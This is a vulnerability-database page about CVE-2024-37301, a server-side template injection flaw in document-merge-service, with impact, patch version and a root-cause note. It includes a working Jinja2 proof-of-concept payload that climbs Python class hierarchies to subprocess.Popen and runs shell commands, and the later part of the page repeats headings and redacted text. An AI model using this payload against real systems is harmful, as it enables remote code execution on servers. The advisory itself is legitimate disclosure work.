9.1

CVSS Score

3.1

-

CVSS Score

Basic Information

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CVE-2024-37301

CVE-2024-37301: document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Impact

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

It has been patched in v6.5.2

References

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

(GitHub Advisory)

Miggo Vulnerability Database

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CVE-2024-37301

CVE-2024-37301:

9.1

CVSS Score

3.1

-

CVSS Score

Basic Information

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
document-merge-service	pip	< 6.5.2	6.5.2

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability stemmed from using jinja2.Environment instead of SandboxedEnvironment. The commit diff shows the patching involved switching to SandboxedEnvironment, which restricts access to unsafe operations. The original Environment implementation allowed template authors to traverse object hierarchies (via class, mro, subclasses) to reach dangerous functions, as demonstrated in the POC using subprocess.Popen for RCE.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

9.1

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2024-37301: document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Impact

Patches

References

POC

CVE-2024-37301:

9.1

-

Basic Information

Basic Information

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

9.1

9.1

Basic Information

Basic Information

CVE-2024-37301: document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Impact

Patches

References

POC

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

WAF Protection Rules

WAF Rule

Reasoning

Technical Details

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI